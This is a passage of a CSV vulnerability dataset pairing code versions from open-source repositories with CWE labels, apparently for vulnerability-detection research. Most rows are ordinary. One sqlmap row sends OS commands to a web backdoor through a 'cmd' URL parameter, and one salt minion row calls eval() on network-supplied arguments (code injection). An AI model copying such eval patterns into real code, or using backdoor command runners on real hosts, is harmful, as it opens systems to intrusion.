                    training_data, ""_batch_size""
                ):
                    batch_size = training_data._batch_size.numpy()
                elif isinstance(training_data, tensorflow.keras.utils.Sequence):
                    first_batch_inputs, *_ = training_data[0]
                    if is_single_input_model:
                        batch_size = len(first_batch_inputs)
                    else:
                        batch_size = len(first_batch_inputs[0])
                elif is_iterator(training_data):
                    peek = next(training_data)
                    if is_single_input_model:
                        batch_size = len(peek[0])
                    else:
                        batch_size = len(peek[0][0])

                    def __restore_generator(prev_generator):
                        yield peek
                        yield from prev_generator

                    restored_generator = __restore_generator(training_data)
                    if ""x"" in kwargs:
                        kwargs[""x""] = restored_generator
                    else:
                        args = (restored_generator,) + args[1:]
            except Exception as e:
                _logger.warning(
                    ""Encountered unexpected error while inferring batch size from training""
                    "" dataset: %s"",
                    e,
                )

            if batch_size is not None:
                mlflow.log_param(""batch_size"", batch_size)
                unlogged_params.append(""batch_size"")

            log_fn_args_as_params(original, args, kwargs, unlogged_params)

            run_id = mlflow.active_run().info.run_id
            with batch_metrics_logger(run_id) as metrics_logger:
                # Check if the 'callback' argument of fit() is set positionally
                if len(args) >= 6:
                    # Convert the positional training function arguments to a list in order to
                    # mutate the contents
                    args = list(args)
                    # Make a shallow copy of the preexisting callbacks to avoid permanently
                    # modifying their contents for future training invocations. Introduce
                    # TensorBoard & tf.keras callbacks if necessary
                    callbacks = list(args[5])
                    callbacks, self.log_dir = _setup_callbacks(callbacks, metrics_logger)
                    # Replace the callbacks positional entry in the copied arguments and convert
                    # the arguments back to tuple form for usage in the training function
                    args[5] = callbacks
                    args = tuple(args)
                else:
                    # Make a shallow copy of the preexisting callbacks and introduce TensorBoard
                    # & tf.keras callbacks if necessary
                    callbacks = list(kwargs.get(""callbacks"") or [])
                    kwargs[""callbacks""], self.log_dir = _setup_callbacks(callbacks, metrics_logger)

                early_stop_callback = _get_early_stop_callback(callbacks)
                _log_early_stop_callback_params(early_stop_callback)

                if log_datasets:
                    try:
                        context_tags = context_registry.resolve_tags()
                        source = CodeDatasetSource(tags=context_tags)

                        x = kwargs[""x""] if ""x"" in kwargs else args[0]
                        if ""y"" in kwargs:
                            y = kwargs[""y""]
                        elif len(args) >= 2:
                            y = args[1]
                        else:
                            y = None

                        if ""validation_data"" in kwargs:
                            validation_data = kwargs[""validation_data""]
                        elif len(args) >= 8:
                            validation_data = args[7]
                        else:
                            validation_data = None
                        _log_tensorflow_dataset(x, source, ""train"", targets=y)
                        if validation_data is not None:
                            _log_tensorflow_dataset(validation_data, source, ""eval"")

                    except Exception as e:
                        _logger.warning(
                            ""Failed to log training dataset information to ""
                            ""MLflow Tracking. Reason: %s"",
                            e,
                        )

                history = original(inst, *args, **kwargs)

                if log_models:
                    _log_keras_model(history, args)

                _log_early_stop_callback_metrics(
                    callback=early_stop_callback,
                    history=history,
                    metrics_logger=metrics_logger,
                )

                _flush_queue()
                mlflow.log_artifacts(
                    local_dir=self.log_dir.location,
                    artifact_path=""tensorboard_logs"",
                )
            if self.log_dir.is_temp:
                shutil.rmtree(self.log_dir.location)
            return history",,mlflow/mlflow,14dfcedec837eec778dacc497bc05223e7efa26d,"def _patch_implementation(
            self, original, inst, *args, **kwargs
        ):  # pylint: disable=arguments-differ
            unlogged_params = [""self"", ""x"", ""y"", ""callbacks"", ""validation_data"", ""verbose""]

            batch_size = None
            try:
                is_single_input_model = isinstance(inst.input_shape, tuple)
                training_data = kwargs[""x""] if ""x"" in kwargs else args[0]
                if isinstance(training_data, tensorflow.data.Dataset) and hasattr(
                    training_data, ""_batch_size""
                ):
                    batch_size = training_data._batch_size.numpy()
                elif isinstance(training_data, tensorflow.keras.utils.Sequence):
                    first_batch_inputs, _ = training_data[0]
                    if is_single_input_model:
                        batch_size = len(first_batch_inputs)
                    else:
                        batch_size = len(first_batch_inputs[0])
                elif is_iterator(training_data):
                    peek = next(training_data)
                    if is_single_input_model:
                        batch_size = len(peek[0])
                    else:
                        batch_size = len(peek[0][0])

                    def __restore_generator(prev_generator):
                        yield peek
                        yield from prev_generator

                    restored_generator = __restore_generator(training_data)
                    if ""x"" in kwargs:
                        kwargs[""x""] = restored_generator
                    else:
                        args = (restored_generator,) + args[1:]
            except Exception as e:
                _logger.warning(
                    ""Encountered unexpected error while inferring batch size from training""
                    "" dataset: %s"",
                    e,
                )

            if batch_size is not None:
                mlflow.log_param(""batch_size"", batch_size)
                unlogged_params.append(""batch_size"")

            log_fn_args_as_params(original, args, kwargs, unlogged_params)

            run_id = mlflow.active_run().info.run_id
            with batch_metrics_logger(run_id) as metrics_logger:
                # Check if the 'callback' argument of fit() is set positionally
                if len(args) >= 6:
                    # Convert the positional training function arguments to a list in order to
                    # mutate the contents
                    args = list(args)
                    # Make a shallow copy of the preexisting callbacks to avoid permanently
                    # modifying their contents for future training invocations. Introduce
                    # TensorBoard & tf.keras callbacks if necessary
                    callbacks = list(args[5])
                    callbacks, self.log_dir = _setup_callbacks(callbacks, metrics_logger)
                    # Replace the callbacks positional entry in the copied arguments and convert
                    # the arguments back to tuple form for usage in the training function
                    args[5] = callbacks
                    args = tuple(args)
                else:
                    # Make a shallow copy of the preexisting callbacks and introduce TensorBoard
                    # & tf.keras callbacks if necessary
                    callbacks = list(kwargs.get(""callbacks"") or [])
                    kwargs[""callbacks""], self.log_dir = _setup_callbacks(callbacks, metrics_logger)

                early_stop_callback = _get_early_stop_callback(callbacks)
                _log_early_stop_callback_params(early_stop_callback)

                if log_datasets:
                    try:
                        context_tags = context_registry.resolve_tags()
                        source = CodeDatasetSource(tags=context_tags)

                        x = kwargs[""x""] if ""x"" in kwargs else args[0]
                        if ""y"" in kwargs:
                            y = kwargs[""y""]
                        elif len(args) >= 2:
                            y = args[1]
                        else:
                            y = None

                        if ""validation_data"" in kwargs:
                            validation_data = kwargs[""validation_data""]
                        elif len(args) >= 8:
                            validation_data = args[7]
                        else:
                            validation_data = None
                        _log_tensorflow_dataset(x, source, ""train"", targets=y)
                        if validation_data is not None:
                            _log_tensorflow_dataset(validation_data, source, ""eval"")

                    except Exception as e:
                        _logger.warning(
                            ""Failed to log training dataset information to ""
                            ""MLflow Tracking. Reason: %s"",
                            e,
                        )

                history = original(inst, *args, **kwargs)

                if log_models:
                    _log_keras_model(history, args)

                _log_early_stop_callback_metrics(
                    callback=early_stop_callback,
                    history=history,
                    metrics_logger=metrics_logger,
                )

                _flush_queue()
                mlflow.log_artifacts(
                    local_dir=self.log_dir.location,
                    artifact_path=""tensorboard_logs"",
                )
            if self.log_dir.is_temp:
                shutil.rmtree(self.log_dir.location)
            return history"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/web.py,0,"def webBackdoorRunCmd(self, cmd):
        if self.webBackdoorUrl is None:
            return

        output = None

        if not cmd:
            cmd = conf.osCmd

        cmdUrl  = ""%s?cmd=%s"" % (self.webBackdoorUrl, cmd)
        page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)

        if page is not None:
            output = re.search(""<pre>(.+?)</pre>"", page, re.I | re.S)

            if output:
                output = output.group(1)

        return output",,sqlmapproject/sqlmap,1d15c595a460bee1dddc7563a5aa5b22f7693251,"def webBackdoorRunCmd(self, cmd):
        if self.webBackdoorUrl is None:
            return

        output = None

        if not cmd:
            cmd = conf.osCmd

        cmdUrl  = ""%s?cmd=%s"" % (self.webBackdoorUrl, cmd)
        page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)

        if page is not None:
            output = re.search(""<pre>(.+?)</pre>"", page, re.I | re.S)

            if output:
                output = output.group(1)

        return output"
,UNKNOWN,UNKNOWN,tests/pytests/unit/beacons/test_glxinfo.py,1,"def test_no_user():
    config = [{""screen_event"": True}]

    _expected = (
        False,
        ""Configuration for glxinfo beacon must include a user as glxinfo is not""
        "" available to root."",
    )

    ret = glxinfo.validate(config)
    assert ret == _expected",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_no_user():
    config = [{""screen_event"": True}]

    _expected = (
        False,
        ""Configuration for glxinfo beacon must include a user as glxinfo is not available to root."",
    )

    ret = glxinfo.validate(config)
    assert ret == _expected"
,UNKNOWN,UNKNOWN,helm_tests/security/test_security_context.py,1,"def test_log_groomer_sidecar_container_setting(self):
        ctx_value = {""allowPrivilegeEscalation"": False}
        spec = {""logGroomerSidecar"": {""securityContexts"": {""container"": ctx_value}}}
        docs = render_chart(
            values={
                ""scheduler"": {**spec},
                ""workers"": {**spec},
                ""dagProcessor"": {**spec},
            },
            show_only=[
                ""templates/scheduler/scheduler-deployment.yaml"",
                ""templates/workers/worker-deployment.yaml"",
                ""templates/dag-processor/dag-processor-deployment.yaml"",
            ],
        )

        for doc in docs:
            assert ctx_value == jmespath.search(""spec.template.spec.containers[1].securityContext"", doc)",CWE-703,apache/airflow,92cc2ffd863b8925ed785d5e8b02ac38488e835e,"def test_log_groomer_sidecar_container_setting(self):
        ctx_value = {""allowPrivilegeEscalation"": False}
        spec = {""logGroomerSidecar"": {""securityContexts"": {""container"": ctx_value}}}
        docs = render_chart(
            values={
                ""scheduler"": {**spec},
                ""workers"": {**spec},
            },
            show_only=[
                ""templates/scheduler/scheduler-deployment.yaml"",
                ""templates/workers/worker-deployment.yaml"",
            ],
        )

        for doc in docs:
            assert ctx_value == jmespath.search(""spec.template.spec.containers[1].securityContext"", doc)"
,UNKNOWN,UNKNOWN,tests/pytests/scenarios/failover/multimaster/test_failover_master.py,1,"def test_failover_to_second_master(
    event_listener,
    salt_mm_failover_master_1,
    salt_mm_failover_master_2,
    salt_mm_failover_minion_1,
    salt_mm_failover_minion_2,
    mm_failover_master_1_salt_cli,
    mm_failover_master_2_salt_cli,
    run_salt_cmds,
):
    """"""
    Test then when the first master is stopped, connected minions failover to the second master.
    """"""
    event_patterns = [
        (
            salt_mm_failover_master_2.id,
            ""salt/minion/{}/start"".format(salt_mm_failover_minion_1.id),
        )
    ]

    start_time = time.time()
    with salt_mm_failover_master_1.stopped():
        assert salt_mm_failover_master_2.is_running()
        # We need to wait for them to realize that the master is not alive
        # At this point, only the first minion will need to change masters
        events = event_listener.wait_for_events(
            event_patterns,
            timeout=salt_mm_failover_minion_1.config[""master_alive_interval""] * 4,
            after_time=start_time,
        )

        assert salt_mm_failover_minion_1.is_running()
        assert not events.missed

        start_time = time.time()
        run_salt_cmds(
            [mm_failover_master_1_salt_cli, mm_failover_master_2_salt_cli],
            [salt_mm_failover_minion_1, salt_mm_failover_minion_2],
        )

        # pylint: disable=unbalanced-tuple-unpacking
        minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
            [salt_mm_failover_master_1, salt_mm_failover_master_2],
            [salt_mm_failover_minion_1, salt_mm_failover_minion_2],
            event_listener,
            start_time,
        )

        # Each minion should only return to one master
        assert len(minion_1_ret_events) == 1
        assert len(minion_2_ret_events) == 1",CWE-703,saltstack/salt,68c9f59fd28f88fa574888f23439d0152a56b318,"def test_failover_to_second_master(
    event_listener,
    salt_mm_failover_master_1,
    salt_mm_failover_master_2,
    salt_mm_failover_minion_1,
    salt_mm_failover_minion_2,
    mm_failover_master_1_salt_cli,
    mm_failover_master_2_salt_cli,
    run_salt_cmds,
    request,
):
    """"""
    Test then when the first master is stopped, connected minions failover to the second master.
    """"""
    event_patterns = [
        (
            salt_mm_failover_master_2.id,
            ""salt/minion/{}/start"".format(salt_mm_failover_minion_1.id),
        )
    ]

    start_time = time.time()
    with salt_mm_failover_master_1.stopped():
        assert salt_mm_failover_master_2.is_running()
        # We need to wait for them to realize that the master is not alive
        # At this point, only the first minion will need to change masters
        events = event_listener.wait_for_events(
            event_patterns,
            timeout=salt_mm_failover_minion_1.config[""master_alive_interval""] * 4,
            after_time=start_time,
        )

        assert salt_mm_failover_minion_1.is_running()
        assert not events.missed

        start_time = time.time()
        run_salt_cmds(
            [mm_failover_master_1_salt_cli, mm_failover_master_2_salt_cli],
            [salt_mm_failover_minion_1, salt_mm_failover_minion_2],
        )

        # pylint: disable=unbalanced-tuple-unpacking
        minion_1_ret_events, minion_2_ret_events = _get_all_ret_events_after_time(
            [salt_mm_failover_master_1, salt_mm_failover_master_2],
            [salt_mm_failover_minion_1, salt_mm_failover_minion_2],
            event_listener,
            start_time,
        )

        # Each minion should only return to one master
        assert len(minion_1_ret_events) == 1
        assert len(minion_2_ret_events) == 1"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def _thread_return(self, data):
        '''
        This method should be used as a threading target, start the actual
        minion side execution.
        '''
        if self.opts['multiprocessing']:
            fn_ = os.path.join(self.proc_dir, data['jid'])
            sdata = {'pid': os.getpid()}
            sdata.update(data)
            open(fn_, 'w+').write(self.serial.dumps(sdata))
        ret = {}
        for ind in range(0, len(data['arg'])):
            try:
                arg = eval(data['arg'][ind])
                if isinstance(arg, bool):
                    data['arg'][ind] = str(data['arg'][ind])
                elif isinstance(arg, (dict, int, list, string_types)):
                    data['arg'][ind] = arg
                else:
                    data['arg'][ind] = str(data['arg'][ind])
            except Exception:
                pass

        function_name = data['fun']
        if function_name in self.functions:
            try:
                func = self.functions[data['fun']]
                args, kw = detect_kwargs(func, data['arg'], data)
                ret['return'] = func(*args, **kw)
            except CommandNotFoundError as exc:
                msg = 'Command required for \'{0}\' not found: {1}'
                log.debug(msg.format(function_name, str(exc)))
                ret['return'] = msg.format(function_name, str(exc))
            except CommandExecutionError as exc:
                msg = 'A command in {0} had a problem: {1}'
                log.error(msg.format(function_name, str(exc)))
                ret['return'] = 'ERROR: {0}'.format(str(exc))
            except SaltInvocationError as exc:
                msg = 'Problem executing ""{0}"": {1}'
                log.error(msg.format(function_name, str(exc)))
                ret['return'] = 'ERROR executing {0}: {1}'.format(function_name, str(exc))
            except Exception as exc:
                trb = traceback.format_exc()
                msg = 'The minion function caused an exception: {0}'
                log.warning(msg.format(trb))
                ret['return'] = trb
        else:
            ret['return'] = '""{0}"" is not available.'.format(function_name)

        ret['jid'] = data['jid']
        ret['fun'] = data['fun']
        self._return_pub(ret)
        if data['ret']:
            for returner in set(data['ret'].split(',')):
                ret['id'] = self.opts['id']
                try:
                    self.returners[returner](ret)
                except Exception as exc:
                    log.error(
                            'The return failed for job {0} {1}'.format(
                                data['jid'],
                                exc
                                )
                            )","CWE-94, CWE-703",saltstack/salt,89c9b0de4750198c7dddcf2f15b44acec7cf9394,"def _thread_return(self, data):
        '''
        This method should be used as a threading target, start the actual
        minion side execution.
        '''
        if self.opts['multiprocessing']:
            fn_ = os.path.join(self.proc_dir, data['jid'])
            sdata = {'pid': os.getpid()}
            sdata.update(data)
            open(fn_, 'w+').write(self.serial.dumps(sdata))
        ret = {}
        for ind in range(0, len(data['arg'])):
            try:
                arg = eval(data['arg'][ind])
                if isinstance(arg, bool):
                    data['arg'][ind] = str(data['arg'][ind])
                elif isinstance(arg, (dict, int, list, string_types)):
                    data['arg'][ind] = arg
                else:
                    data['arg'][ind] = str(data['arg'][ind])
            except:
                pass

        function_name = data['fun']
        if function_name in self.functions:
            try:
                func = self.functions[data['fun']]
                args, kw = detect_kwargs(func, data['arg'], data)
                ret['return'] = func(*args, **kw)
            except CommandNotFoundError as exc:
                msg = 'Command required for \'{0}\' not found: {1}'
                log.debug(msg.format(function_name, str(exc)))
                ret['return'] = msg.format(function_name, str(exc))
            except CommandExecutionError as exc:
                msg = 'A command in {0} had a problem: {1}'
                log.error(msg.format(function_name, str(exc)))
                ret['return'] = 'ERROR: {0}'.format(str(exc))
            except SaltInvocationError as exc:
                msg = 'Problem executing ""{0}"": {1}'
                log.error(msg.format(function_name, str(exc)))
                ret['return'] = 'ERROR executing {0}: {1}'.format(function_name, str(exc))
            except Exception as exc:
                trb = traceback.format_exc()
                msg = 'The minion function caused an exception: {0}'
                log.warning(msg.format(trb))
                ret['return'] = trb
        else:
            ret['return'] = '""{0}"" is not available.'.format(function_name)

        ret['jid'] = data['jid']
        ret['fun'] = data['fun']
        self._return_pub(ret)
        if data['ret']:
            for returner in set(data['ret'].split(',')):
                ret['id'] = self.opts['id']
                try:
                    self.returners[returner](ret)
                except Exception as exc:
                    log.error(
                            'The return failed for job {0} {1}'.format(
                                data['jid'],
                                exc
                                )
                            )"
,UNKNOWN,UNKNOWN,tests/pytests/unit/client/ssh/test_password.py,1,"def test_password_failure(temp_salt_master, tmp_path):
    """"""
    Check password failures when trying to deploy keys
    """"""
    opts = temp_salt_master.config.copy()
    opts[""list_hosts""] = False
    opts[""argv""] = [""test.ping""]
    opts[""selected_target_option""] = ""glob""
    opts[""tgt""] = ""localhost""
    opts[""arg""] = []
    roster = str(tmp_path / ""roster"")
    handle_ssh_ret = [
        (
            {
                ""localhost"": {
                    ""retcode"": 255,
                    ""stderr"": ""Permission denied (publickey).\r\n"",
                    ""stdout"": """",
                    ""_error"": ""Permission denied"",
                }
            },
            1,
        )
    ]
    key_deploy_ret = (
        {
            ""localhost"": {
                ""retcode"": 255,
                ""stderr"": ""Permission denied (publickey)"",
                ""stdout"": """",
                ""_error"": ""Permission denied"",
            }
        },
        1,
    )
    expected = {""localhost"": ""Permission denied (publickey)""}
    display_output = MagicMock()
    with patch(""salt.roster.get_roster_file"", MagicMock(return_value=roster)), patch(
        ""salt.client.ssh.SSH.handle_ssh"", MagicMock(return_value=handle_ssh_ret)
    ), patch(
        ""salt.client.ssh.SSH.key_deploy"", MagicMock(return_value=key_deploy_ret)
    ), patch(
        ""salt.output.display_output"", display_output
    ):
        client = ssh.SSH(opts)
        ret = next(client.run_iter())
        with pytest.raises(SystemExit):
            client.run()
    display_output.assert_called_once_with(expected, ""nested"", opts)
    assert ret is handle_ssh_ret[0][0]",CWE-703,saltstack/salt,5e559b84495fd00750f534b2ccc0bc2fc0ace903,"def test_password_failure(temp_salt_master, tmp_path):
    """"""
    Check password failures when trying to deploy keys
    """"""
    opts = temp_salt_master.config.copy()
    opts[""list_hosts""] = False
    opts[""argv""] = [""test.ping""]
    opts[""selected_target_option""] = ""glob""
    opts[""tgt""] = ""localhost""
    opts[""arg""] = []
    roster = str(tmp_path / ""roster"")
    handle_ssh_ret = [
        (
            {
                ""localhost"": {
                    ""retcode"": 255,
                    ""stderr"": ""Permission denied (publickey).\r\n"",
                    ""stdout"": """",
                }
            },
            1,
        )
    ]
    expected = {""localhost"": ""Permission denied (publickey)""}
    display_output = MagicMock()
    with patch(""salt.roster.get_roster_file"", MagicMock(return_value=roster)), patch(
        ""salt.client.ssh.SSH.handle_ssh"", MagicMock(return_value=handle_ssh_ret)
    ), patch(""salt.client.ssh.SSH.key_deploy"", MagicMock(return_value=expected)), patch(
        ""salt.output.display_output"", display_output
    ):
        client = ssh.SSH(opts)
        ret = next(client.run_iter())
        with pytest.raises(SystemExit):
            client.run()
    display_output.assert_called_once_with(expected, ""nested"", opts)
    assert ret is handle_ssh_ret[0][0]"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/file/test__check_directory_win.py,1,"def test__check_directory_win_grant_perms_basic_existing_user(tmp_path):
    path = str(tmp_path)
    win_dacl.set_permissions(
        obj_name=path,
        principal=""Guest"",
        permissions=[""write_data"", ""write_attributes""],
        access_mode=""grant"",
    )
    perms = {""Guest"": {""perms"": ""full_control""}}
    expected = {""grant_perms"": {""Guest"": {""permissions"": ""full_control""}}}
    _, comment, changes = file._check_directory_win(name=path, win_perms=perms)
    assert path in comment
    assert changes == expected",CWE-703,saltstack/salt,44fe443b511bea457aa6dcaea4768b9a73113948,"def test__check_directory_win_grant_perms_basic_existing_user(tmp_path):
    path = str(tmp_path)
    win_dacl.set_permissions(
        obj_name=path,
        principal=""Guest"",
        permissions=[""write_data"", ""write_attributes""],
        access_mode=""grant"",
    )
    perms = {
        ""Guest"": {
            ""perms"": ""full_control"",
        }
    }
    expected = {
        ""grant_perms"": {
            ""Guest"": {
                ""permissions"": ""full_control"",
            }
        }
    }
    _, comment, changes = file._check_directory_win(name=path, win_perms=perms)
    assert path in comment
    assert changes == expected"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/units/playbook/role/test_include_role.py,0,"def test_nested(self):

        """"""
        Test nested includes with default tasks and variables.

        Variables from outer roles should be inherited, but overridden in inner
        roles.
        """"""

        play = Play.load(dict(
            name=""test play"",
            hosts=['foo'],
            gather_facts=False,
            tasks=[
                {'include_role': 'name=l1'}
            ]
        ), loader=self.loader, variable_manager=self.var_manager)

        tasks = play.compile()
        for role, task_vars in self.get_tasks_vars(play, tasks):
            # Outer-most role must not have variables from inner roles yet
            if role == 'l1':
                self.assertEqual(task_vars.get('l1_variable'), 'l1-main')
                self.assertEqual(task_vars.get('l2_variable'), None)
                self.assertEqual(task_vars.get('l3_variable'), None)
                self.assertEqual(task_vars.get('test_variable'), 'l1-main')
            # Middle role must have variables from outer role, but not inner
            elif role == 'l2':
                self.assertEqual(task_vars.get('l1_variable'), 'l1-main')
                self.assertEqual(task_vars.get('l2_variable'), 'l2-main')
                self.assertEqual(task_vars.get('l3_variable'), None)
                self.assertEqual(task_vars.get('test_variable'), 'l2-main')
            # Inner role must have variables from both outer roles
            elif role == 'l3':
                self.assertEqual(task_vars.get('l1_variable'), 'l1-main')
                self.assertEqual(task_vars.get('l2_variable'), 'l2-main')
                self.assertEqual(task_vars.get('l3_variable'), 'l3-main')
                self.assertEqual(task_vars.get('test_variable'), 'l3-main')",,ansible/ansible,b89cb956092e6f28d16010dc887ee2dc46e7855b,"def test_nested(self):

        """"""
        Test nested includes with default tasks and variables.

        Variables from outer roles should be inherited, but overriden in inner
        roles.
        """"""

        play = Play.load(dict(
            name=""test play"",
            hosts=['foo'],
            gather_facts=False,
            tasks=[
                {'include_role': 'name=l1'}
            ]
        ), loader=self.loader, variable_manager=self.var_manager)

        tasks = play.compile()
        for role, task_vars in self.get_tasks_vars(play, tasks):
            # Outer-most role must not have variables from inner roles yet
            if role == 'l1':
                self.assertEqual(task_vars.get('l1_variable'), 'l1-main')
                self.assertEqual(task_vars.get('l2_variable'), None)
                self.assertEqual(task_vars.get('l3_variable'), None)
                self.assertEqual(task_vars.get('test_variable'), 'l1-main')
            # Middle role must have variables from outer role, but not inner
            elif role == 'l2':
                self.assertEqual(task_vars.get('l1_variable'), 'l1-main')
                self.assertEqual(task_vars.get('l2_variable'), 'l2-main')
                self.assertEqual(task_vars.get('l3_variable'), None)
                self.assertEqual(task_vars.get('test_variable'), 'l2-main')
            # Inner role must have variables from both outer roles
            elif role == 'l3':
                self.assertEqual(task_vars.get('l1_variable'), 'l1-main')
                self.assertEqual(task_vars.get('l2_variable'), 'l2-main')
                self.assertEqual(task_vars.get('l3_variable'), 'l3-main')
                self.assertEqual(task_vars.get('test_variable'), 'l3-main')"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/hsqldb/filesystem.py,0,"def __init__(self):
        GenericFilesystem.__init__(self)",,sqlmapproject/sqlmap,017ce22a2f89096cc421bb0adfd333b6f7a2c514,"def __init__(self):
        GenericFilesystem.__init__(self)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/auth.py,0,"def _on_access_token(self, redirect_uri, client_id, client_secret,
                         future, fields, response):
        if response.error:
            future.set_exception(AuthError('Facebook auth error: %s' % str(response)))
            return

        args = escape.json_decode(response.body)
        session = {
            ""access_token"": args.get(""access_token""),
            ""expires"": args.get(""expires"")
        }

        self.facebook_request(
            path=""/me"",
            callback=functools.partial(
                self._on_get_user_info, future, session, fields),
            access_token=session[""access_token""],
            appsecret_proof=hmac.new(key=client_secret.encode('utf8'),
                                     msg=session[""access_token""].encode('utf8'),
                                     digestmod=hashlib.sha256).hexdigest(),
            fields="","".join(fields)
        )",CWE-Unknown,tornadoweb/tornado,8bb8795216ba4982fcd25102fc2d9aaf82dccdf3,"def _on_access_token(self, redirect_uri, client_id, client_secret,
                         future, fields, response):
        if response.error:
            future.set_exception(AuthError('Facebook auth error: %s' % str(response)))
            return

        args = urlparse.parse_qs(escape.native_str(response.body))
        session = {
            ""access_token"": args[""access_token""][-1],
            ""expires"": args.get(""expires"")
        }

        self.facebook_request(
            path=""/me"",
            callback=functools.partial(
                self._on_get_user_info, future, session, fields),
            access_token=session[""access_token""],
            appsecret_proof=hmac.new(key=client_secret.encode('utf8'),
                                     msg=session[""access_token""].encode('utf8'),
                                     digestmod=hashlib.sha256).hexdigest(),
            fields="","".join(fields)
        )"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_localemod.py,1,"def test_localectl_status_parser(self):
        '''
        Test localectl status parser.
        :return:
        '''
        out = localemod._localectl_status()
        assert isinstance(out, dict)
        for key in ['system_locale', 'vc_keymap', 'x11_layout', 'x11_model']:
            assert key in out
        assert isinstance(out['system_locale'], dict)
        assert 'LANG' in out['system_locale']
        assert 'LANGUAGE' in out['system_locale']
        assert out['system_locale']['LANG'] == out['system_locale']['LANGUAGE'] == 'de_DE.utf8'
        assert isinstance(out['vc_keymap'], dict)
        assert 'data' in out['vc_keymap']
        assert out['vc_keymap']['data'] is None
        assert isinstance(out['x11_layout'], dict)
        assert 'data' in out['x11_layout']
        assert out['x11_layout']['data'] == 'us'
        assert isinstance(out['x11_model'], dict)
        assert 'data' in out['x11_model']
        assert out['x11_model']['data'] == 'pc105'",CWE-703,saltstack/salt,eb550ae759cec80d28c3fb9636e872be2435733b,"def test_localectl_status_parser(self):
        '''
        Test localectl status parser.
        :return:
        '''
        out = localemod._localectl_status()
        assert isinstance(out, dict)
        for key in ['system_locale', 'vc_keymap', 'x11_layout', 'x11_model']:
            assert key in out
        assert isinstance(out['system_locale'], dict)
        assert 'LANG' in out['system_locale']
        assert 'LANGUAGE' in out['system_locale']
        assert out['system_locale']['LANG'] == out['system_locale']['LANGUAGE'] == 'de_DE.utf8'
        assert isinstance(out['vc_keymap'], dict)
        assert 'data' in out['vc_keymap']
        assert out['vc_keymap']['data'] == None
        assert isinstance(out['x11_layout'], dict)
        assert 'data' in out['x11_layout']
        assert out['x11_layout']['data'] == 'us'
        assert isinstance(out['x11_model'], dict)
        assert 'data' in out['x11_model']
        assert out['x11_model']['data'] == 'pc105'"
,UNKNOWN,UNKNOWN,airflow-core/src/airflow/utils/cli.py,1,"def _build_metrics(func_name, namespace):
    """"""
    Build metrics dict from function args.

    It assumes that function arguments is from airflow.bin.cli module's function
    and has Namespace instance where it optionally contains ""dag_id"", ""task_id"",
    and ""logical_date"".

    :param func_name: name of function
    :param namespace: Namespace instance from argparse
    :return: dict with metrics
    """"""
    sub_commands_to_check_for_sensitive_fields = {""users"", ""connections""}
    sub_commands_to_check_for_sensitive_key = {""variables""}
    sensitive_fields = {""-p"", ""--password"", ""--conn-password""}
    full_command = list(sys.argv)
    sub_command = full_command[1] if len(full_command) > 1 else None
    # For cases when value under sub_commands_to_check_for_sensitive_key have sensitive info
    if sub_command in sub_commands_to_check_for_sensitive_key:
        key = full_command[-2] if len(full_command) > 3 else None
        if key and should_hide_value_for_key(key):
            # Mask the sensitive value since key contain sensitive keyword
            full_command[-1] = ""*"" * 8
    elif sub_command in sub_commands_to_check_for_sensitive_fields:
        for idx, command in enumerate(full_command):
            if command in sensitive_fields:
                # For cases when password is passed as ""--password xyz"" (with space between key and value)
                full_command[idx + 1] = ""*"" * 8
            else:
                # For cases when password is passed as ""--password=xyz"" (with '=' between key and value)
                for sensitive_field in sensitive_fields:
                    if command.startswith(f""{sensitive_field}=""):
                        full_command[idx] = f'{sensitive_field}={""*"" * 8}'

    # handle conn-json and conn-uri separately as it requires different handling
    if ""--conn-json"" in full_command:
        import json

        json_index = full_command.index(""--conn-json"") + 1
        conn_json = json.loads(full_command[json_index])
        for k in conn_json:
            if k and should_hide_value_for_key(k):
                conn_json[k] = ""*"" * 8
        full_command[json_index] = json.dumps(conn_json)

    if ""--conn-uri"" in full_command:
        from urllib.parse import urlparse, urlunparse

        uri_index = full_command.index(""--conn-uri"") + 1
        conn_uri = full_command[uri_index]
        parsed_uri = urlparse(conn_uri)
        netloc = parsed_uri.netloc
        if parsed_uri.password:
            password = ""*"" * 8
            netloc = f""{parsed_uri.username}:{password}@{parsed_uri.hostname}""
            if parsed_uri.port:
                netloc += f"":{parsed_uri.port}""

        full_command[uri_index] = urlunparse(
            (
                parsed_uri.scheme,
                netloc,
                parsed_uri.path,
                parsed_uri.params,
                parsed_uri.query,
                parsed_uri.fragment,
            )
        )

    metrics = {
        ""sub_command"": func_name,
        ""start_datetime"": timezone.utcnow(),
        ""full_command"": f""{full_command}"",
        ""user"": getuser(),
    }

    if not isinstance(namespace, Namespace):
        raise ValueError(
            f""namespace argument should be argparse.Namespace instance, but is {type(namespace)}""
        )
    tmp_dic = vars(namespace)
    metrics[""dag_id""] = tmp_dic.get(""dag_id"")
    metrics[""task_id""] = tmp_dic.get(""task_id"")
    metrics[""logical_date""] = tmp_dic.get(""logical_date"")
    metrics[""host_name""] = socket.gethostname()

    return metrics",CWE-259,apache/airflow,d57b94e2ea7576ad65ae7510c9fe94c403fde83f,"def _build_metrics(func_name, namespace):
    """"""
    Build metrics dict from function args.

    It assumes that function arguments is from airflow.bin.cli module's function
    and has Namespace instance where it optionally contains ""dag_id"", ""task_id"",
    and ""logical_date"".

    :param func_name: name of function
    :param namespace: Namespace instance from argparse
    :return: dict with metrics
    """"""
    sub_commands_to_check_for_sensitive_fields = {""users"", ""connections""}
    sub_commands_to_check_for_sensitive_key = {""variables""}
    sensitive_fields = {""-p"", ""--password"", ""--conn-password""}
    full_command = list(sys.argv)
    sub_command = full_command[1] if len(full_command) > 1 else None
    # For cases when value under sub_commands_to_check_for_sensitive_key have sensitive info
    if sub_command in sub_commands_to_check_for_sensitive_key:
        key = full_command[-2] if len(full_command) > 3 else None
        if key and should_hide_value_for_key(key):
            # Mask the sensitive value since key contain sensitive keyword
            full_command[-1] = ""*"" * 8
